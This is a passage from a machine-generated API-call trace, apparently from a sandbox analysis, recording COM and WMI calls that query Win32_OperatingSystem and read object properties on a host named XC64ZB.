(This=0x1d28fff0) returned 0x3 [0274.663] IWbemServices:ExecQuery (in: This=0x1d28fff0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286080) returned 0x0 [0274.679] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286088) returned 0x0 [0274.679] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0274.679] IUnknown:Release (This=0x1b286088) returned 0x1 [0274.679] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202838) returned 0x0 [0274.679] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286088) returned 0x0 [0274.680] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0274.702] IUnknown:Release (This=0x1b286088) returned 0x2 [0274.702] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x1 [0274.702] CoTaskMemFree (pv=0x1d1e6c00) [0274.702] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202838) returned 0x0 [0274.702] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0274.703] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0274.703] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0274.704] WbemLocator:IUnknown:AddRef (This=0x1b202838) returned 0x3 [0274.704] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0274.704] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0274.704] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202718) returned 0x0 [0274.704] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202718, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0274.704] WbemLocator:IUnknown:Release (This=0x1b202718) returned 0x3 [0274.704] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0274.705] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0274.705] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202800) returned 0x0 [0274.705] WbemLocator:IRpcOptions:Query (in: This=0x1b202800, pPrx=0x1b202838, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0274.705] WbemLocator:IUnknown:Release (This=0x1b202800) returned 0x3 [0274.705] WbemLocator:IUnknown:Release (This=0x1b202838) returned 0x2 [0274.705] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0274.705] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0274.705] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202838, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286080) returned 0x0 [0274.705] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0274.705] IUnknown:Release (This=0x1b286080) returned 0x3 [0274.705] IUnknown:Release (This=0x1b286080) returned 0x2 [0274.705] WbemLocator:IUnknown:Release (This=0x1d28fff0) returned 0x2 [0274.705] SysStringLen (param_1=0x0) returned 0x0 [0274.705] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0274.705] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0274.705] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0274.706] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0274.706] IUnknown:AddRef (This=0x1b286080) returned 0x3 [0274.706] IEnumWbemClassObject:Clone (in: This=0x1b286080, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b2872e0) returned 0x0 [0274.707] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b2872e8) returned 0x0 [0274.707] IClientSecurity:QueryBlanket (in: This=0x1b2872e8, pProxy=0x1b2872e0, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0274.707] IUnknown:Release (This=0x1b2872e8) returned 0x1 [0274.707] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b2031f8) returned 0x0 [0274.707] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b2872e8) returned 0x0 [0274.707] IClientSecurity:SetBlanket (This=0x1b2872e8, pProxy=0x1b2872e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0274.709] IUnknown:Release (This=0x1b2872e8) returned 0x2 [0274.709] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0274.709] CoTaskMemFree (pv=0x1d1e66f0) [0274.709] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b2031f8) returned 0x0 [0274.709] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0274.710] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0274.710] IUnknown:QueryInterface (in: This=0x1b2872e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0274.711] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0274.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0274.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0274.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b2030d8) returned 0x0 [0274.711] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2030d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0274.711] WbemLocator:IUnknown:Release (This=0x1b2030d8) returned 0x3 [0274.711] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0274.711] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0274.711] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b2031c0) returned 0x0 [0274.712] WbemLocator:IRpcOptions:Query (in: This=0x1b2031c0, pPrx=0x1b2031f8, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0274.712] WbemLocator:IUnknown:Release (This=0x1b2031c0) returned 0x3 [0274.712] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0274.712] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0274.712] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0274.712] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b2872e0) returned 0x0 [0274.712] IUnknown:AddRef (This=0x1b2872e0) returned 0x4 [0274.712] IUnknown:Release (This=0x1b2872e0) returned 0x3 [0274.712] IUnknown:Release (This=0x1b2872e0) returned 0x2 [0274.712] IUnknown:Release (This=0x1b286080) returned 0x2 [0274.712] SysStringLen (param_1=0x0) returned 0x0 [0274.712] IEnumWbemClassObject:Reset (This=0x1b2872e0) returned 0x0 [0274.713] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0fd0 [0274.713] IEnumWbemClassObject:Next (in: This=0x1b2872e0, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0fd0, puReturned=0x2700090 | out: apObjects=0x1d1c0fd0*=0x1b268750, puReturned=0x2700090*=0x1) returned 0x0 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268750) returned 0x0 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0274.718] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0274.718] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268758) returned 0x0 [0274.718] IMarshal:GetUnmarshalClass (in: This=0x1b268758, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0274.718] IUnknown:Release (This=0x1b268758) returned 0x3 [0274.718] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0274.719] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0274.719] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0274.719] IUnknown:Release (This=0x1b268750) returned 0x2 [0274.719] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0274.719] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0274.719] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268750) returned 0x0 [0274.719] IUnknown:AddRef (This=0x1b268750) returned 0x4 [0274.719] IUnknown:Release (This=0x1b268750) returned 0x3 [0274.719] IUnknown:Release (This=0x1b268750) returned 0x2 [0274.719] CoTaskMemFree (pv=0x1d1c0fd0) [0274.719] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0274.720] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0274.720] IWbemClassObject:Get (in: This=0x1b268750, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0274.720] IWbemClassObject:Get (in: This=0x1b268750, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0274.720] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0274.720] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0274.720] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0274.721] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0274.721] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0274.721] IUnknown:Release (This=0x77dd58) returned 0x1 [0274.722] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d218190) returned 0x0 [0274.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d218190, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0274.722] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d218190, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b2931a0) returned 0x0 [0274.722] WbemDefPath:IUnknown:Release (This=0x1d218190) returned 0x0 [0274.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b2931a0) returned 0x0 [0274.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0274.722] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0274.723] WbemDefPath:IUnknown:AddRef (This=0x1b2931a0) returned 0x3 [0274.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0274.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0274.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218370) returned 0x0 [0274.723] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218370, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0274.723] WbemDefPath:IUnknown:Release (This=0x1d218370) returned 0x3 [0274.723] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0274.723] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0274.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2931a0, riid=0x7ffb0293bc30*(Data1=0x144, 